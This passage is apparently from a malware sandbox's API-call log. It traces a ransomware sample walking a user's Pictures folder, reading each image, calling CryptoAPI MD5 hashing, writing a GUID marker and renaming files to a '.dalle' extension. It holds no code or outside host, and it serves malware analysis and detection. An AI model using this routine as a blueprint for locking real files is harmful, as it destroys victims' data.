flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.888] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.889] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.890] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x18426, lpOverlapped=0x0) returned 1 [0120.891] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.891] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.891] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.891] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.892] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.892] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.892] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.892] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.892] GetLastError () returned 0x0 [0120.892] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.892] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.893] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18426, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.893] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.893] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.894] CloseHandle (hObject=0x618) returned 1 [0120.895] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\SbXik3LvTBfT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sbxik3lvtbft.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\SbXik3LvTBfT.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sbxik3lvtbft.jpg.dalle")) returned 1 [0120.896] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd21cd0, ftCreationTime.dwHighDateTime=0x1d4d52c, ftLastAccessTime.dwLowDateTime=0x3c6fde00, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x3c6fde00, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x4022, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="skWySyu.bmp", cAlternateFileName="")) returned 1 [0120.896] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\skWySyu.bmp") returned=".bmp" [0120.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\skWySyu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\skwysyu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.896] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=16418) returned 1 [0120.896] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.897] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.897] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.899] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x4022, lpOverlapped=0x0) returned 1 [0120.900] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.900] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.900] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.900] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.900] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.900] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.901] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.901] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.901] GetLastError () returned 0x0 [0120.901] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.901] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.901] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.901] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.901] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.901] CloseHandle (hObject=0x618) returned 1 [0120.902] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\skWySyu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\skwysyu.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\skWySyu.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\skwysyu.bmp.dalle")) returned 1 [0120.915] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c6f8d0, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0xbb29a680, ftLastAccessTime.dwHighDateTime=0x1d4c6bb, ftLastWriteTime.dwLowDateTime=0xbb29a680, ftLastWriteTime.dwHighDateTime=0x1d4c6bb, nFileSizeHigh=0x0, nFileSizeLow=0x68ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uA3602jdk4LLtIeK.png", cAlternateFileName="UA3602~1.PNG")) returned 1 [0120.915] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uA3602jdk4LLtIeK.png") returned=".png" [0120.915] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uA3602jdk4LLtIeK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ua3602jdk4lltiek.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.916] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=26862) returned 1 [0120.916] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.918] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x68c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.918] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.919] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x68ee, lpOverlapped=0x0) returned 1 [0120.920] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.920] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.920] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.920] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.921] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.921] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.921] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.921] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.921] GetLastError () returned 0x0 [0120.921] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.921] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.921] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x68ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.921] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.921] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.922] CloseHandle (hObject=0x618) returned 1 [0120.922] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uA3602jdk4LLtIeK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ua3602jdk4lltiek.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\uA3602jdk4LLtIeK.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ua3602jdk4lltiek.png.dalle")) returned 1 [0120.924] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a223b40, ftCreationTime.dwHighDateTime=0x1d4d4e3, ftLastAccessTime.dwLowDateTime=0xac912470, ftLastAccessTime.dwHighDateTime=0x1d4d437, ftLastWriteTime.dwLowDateTime=0xac912470, ftLastWriteTime.dwHighDateTime=0x1d4d437, nFileSizeHigh=0x0, nFileSizeLow=0x119e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UJnG.jpg", cAlternateFileName="")) returned 1 [0120.924] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UJnG.jpg") returned=".jpg" [0120.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UJnG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ujng.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.924] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=72161) returned 1 [0120.924] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.927] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x119bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.927] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.928] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x119e1, lpOverlapped=0x0) returned 1 [0120.929] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.929] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.929] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.929] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.930] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.930] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.930] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.930] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.930] GetLastError () returned 0x0 [0120.930] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.930] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.931] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x119e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.931] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.931] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.931] CloseHandle (hObject=0x618) returned 1 [0120.932] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UJnG.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ujng.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UJnG.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ujng.jpg.dalle")) returned 1 [0120.933] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb0309f0, ftCreationTime.dwHighDateTime=0x1d4d526, ftLastAccessTime.dwLowDateTime=0xfeb21e40, ftLastAccessTime.dwHighDateTime=0x1d4c9fa, ftLastWriteTime.dwLowDateTime=0xfeb21e40, ftLastWriteTime.dwHighDateTime=0x1d4c9fa, nFileSizeHigh=0x0, nFileSizeLow=0xf00e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="watBxpzRgOgaq m-.bmp", cAlternateFileName="WATBXP~1.BMP")) returned 1 [0120.933] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\watBxpzRgOgaq m-.bmp") returned=".bmp" [0120.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\watBxpzRgOgaq m-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\watbxpzrgogaq m-.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.934] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=61454) returned 1 [0120.934] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.935] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xefe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.935] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.936] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf00e, lpOverlapped=0x0) returned 1 [0120.937] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.937] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.937] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.937] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.938] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.938] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.938] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.938] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.938] GetLastError () returned 0x0 [0120.938] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.938] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.939] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf00e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.939] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.939] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.939] CloseHandle (hObject=0x618) returned 1 [0120.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\watBxpzRgOgaq m-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\watbxpzrgogaq m-.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\watBxpzRgOgaq m-.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\watbxpzrgogaq m-.bmp.dalle")) returned 1 [0120.943] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd793b70, ftCreationTime.dwHighDateTime=0x1d4c97e, ftLastAccessTime.dwLowDateTime=0x69dd0ac0, ftLastAccessTime.dwHighDateTime=0x1d4cbb5, ftLastWriteTime.dwLowDateTime=0x69dd0ac0, ftLastWriteTime.dwHighDateTime=0x1d4cbb5, nFileSizeHigh=0x0, nFileSizeLow=0x13f0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YdHbKfRnKrxhFcKFQ.png", cAlternateFileName="YDHBKF~1.PNG")) returned 1 [0120.943] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YdHbKfRnKrxhFcKFQ.png") returned=".png" [0120.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YdHbKfRnKrxhFcKFQ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ydhbkfrnkrxhfckfq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.943] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=81674) returned 1 [0120.943] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.945] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.945] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.946] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13f0a, lpOverlapped=0x0) returned 1 [0120.947] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.947] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.947] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.947] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.948] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.948] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.948] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.948] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.948] GetLastError () returned 0x0 [0120.948] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.948] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.949] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13f0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.949] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.949] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.949] CloseHandle (hObject=0x618) returned 1 [0120.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YdHbKfRnKrxhFcKFQ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ydhbkfrnkrxhfckfq.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YdHbKfRnKrxhFcKFQ.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ydhbkfrnkrxhfckfq.png.dalle")) returned 1 [0120.951] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1daf1380, ftCreationTime.dwHighDateTime=0x1d4cee6, ftLastAccessTime.dwLowDateTime=0x3f9100e0, ftLastAccessTime.dwHighDateTime=0x1d4d10b, ftLastWriteTime.dwLowDateTime=0x3f9100e0, ftLastWriteTime.dwHighDateTime=0x1d4d10b, nFileSizeHigh=0x0, nFileSizeLow=0x1285e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y_z1 i4Ltt8.jpg", cAlternateFileName="Y_Z1I4~1.JPG")) returned 1 [0120.951] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y_z1 i4Ltt8.jpg") returned=".jpg" [0120.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\y_z1 i4Ltt8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\y_z1 i4ltt8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.952] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=75870) returned 1 [0120.952] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.953] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.953] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.954] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1285e, lpOverlapped=0x0) returned 1 [0120.955] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.955] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.955] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.955] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.956] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c 